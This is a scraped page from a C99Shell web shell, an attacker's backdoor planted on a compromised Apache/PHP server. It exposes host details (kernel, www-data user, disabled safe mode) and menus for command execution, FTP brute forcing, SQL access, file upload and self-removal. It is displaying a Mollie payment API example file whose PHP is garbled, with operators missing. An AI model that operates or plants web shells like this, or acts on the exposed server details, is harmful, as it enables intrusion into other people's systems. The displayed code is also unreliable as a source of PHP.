!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/mollie/mollie-api-php/examples/settlements/   drwxr-xr-x
Free 13.02 GB of 57.97 GB (22.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     list-settlements.php (3.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Using OAuth access token to list settlements of an account.
 */

try {
    
/*
     * Initialize the Mollie API library with your OAuth access token.
     */
    
require "../initialize_with_oauth.php";

    
/*
     * Get the all the settlements for this account.
     */
    
$settlements $mollie->settlements->page();
    echo 
'<ul>';
    foreach (
$settlements as $settlement) {
        echo 
'<li><b>Settlement ' htmlspecialchars($settlement->reference) . ':</b> (' htmlspecialchars($settlement->createdAt) . ')';
        echo 
'<table border="1"><tr><th>Month</th><th>Description</th><th>Count</th><th>Net</th><th>VAT</th><th>Gross</th></tr>';
        
// Convert from stdClass to array
        
$settlement_periods json_decode(json_encode($settlement->periods), true);
        foreach (
$settlement_periods as $year => $months) {
            foreach (
$months as $month => $monthly_settlement) {
                foreach (
$monthly_settlement['revenue'] as $revenue) {
                    echo 
'<tr>';
                    echo 
'<td>' htmlspecialchars($year '-' $month) . '</td>';
                    echo 
'<td>' htmlspecialchars($revenue['description']) . '</td>';
                    echo 
'<td align="right">' htmlspecialchars($revenue['count']) . ' x</td>';
                    echo 
'<td align="right">' htmlspecialchars($revenue['amountNet']['value'] ? $revenue['amountNet']['value'] . " " $revenue['amountNet']['currency'] : '-') . '</td>';
                    echo 
'<td align="right">' htmlspecialchars($revenue['amountVat']['value'] ? $revenue['amountVat']['value'] . " " $revenue['amountVat']['currency'] : '-') . '</td>';
                    echo 
'<td align="right">' htmlspecialchars($revenue['amountGross']['value'] ? $revenue['amountGross']['value'] . " " $revenue['amountGross']['currency'] : '-') . '</td>';
                    echo 
'</tr>';
                }
                foreach (
$monthly_settlement['costs'] as $revenue) {
                    echo 
'<tr>';
                    echo 
'<td>' htmlspecialchars($year '-' $month) . '</td>';
                    echo 
'<td>' htmlspecialchars($revenue['description']) . '</td>';
                    echo 
'<td align="right">' htmlspecialchars($revenue['count']) . ' x</td>';
                    echo 
'<td align="right">' htmlspecialchars($revenue['amountNet']['value'] ? $revenue['amountNet']['value'] . " " $revenue['amountNet']['currency'] : '-') . '</td>';
                    echo 
'<td align="right">' htmlspecialchars($revenue['amountVat']['value'] ? $revenue['amountVat']['value'] . " " $revenue['amountVat']['currency'] : '-') . '</td>';
                    echo 
'<td align="right">' htmlspecialchars($revenue['amountGross']['value'] ? $revenue['amountGross']['value'] . " " $revenue['amountGross']['currency'] : '-') . '</td>';
                    echo 
'</tr>';
                }
            }
        }
        echo 
'<tr><th colspan="5" align="right">TOTAL</th><th align="right">' htmlspecialchars($settlement->amount->value " " $settlement->amount->currency) . '</th></tr>';
        echo 
'</table>';
        echo 
'</li>';
    }
    echo 
'</ul>';
} catch (
\Mollie\Api\Exceptions\ApiException $e) {
    echo 
"API call failed: " htmlspecialchars($e->getMessage());
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0079 ]--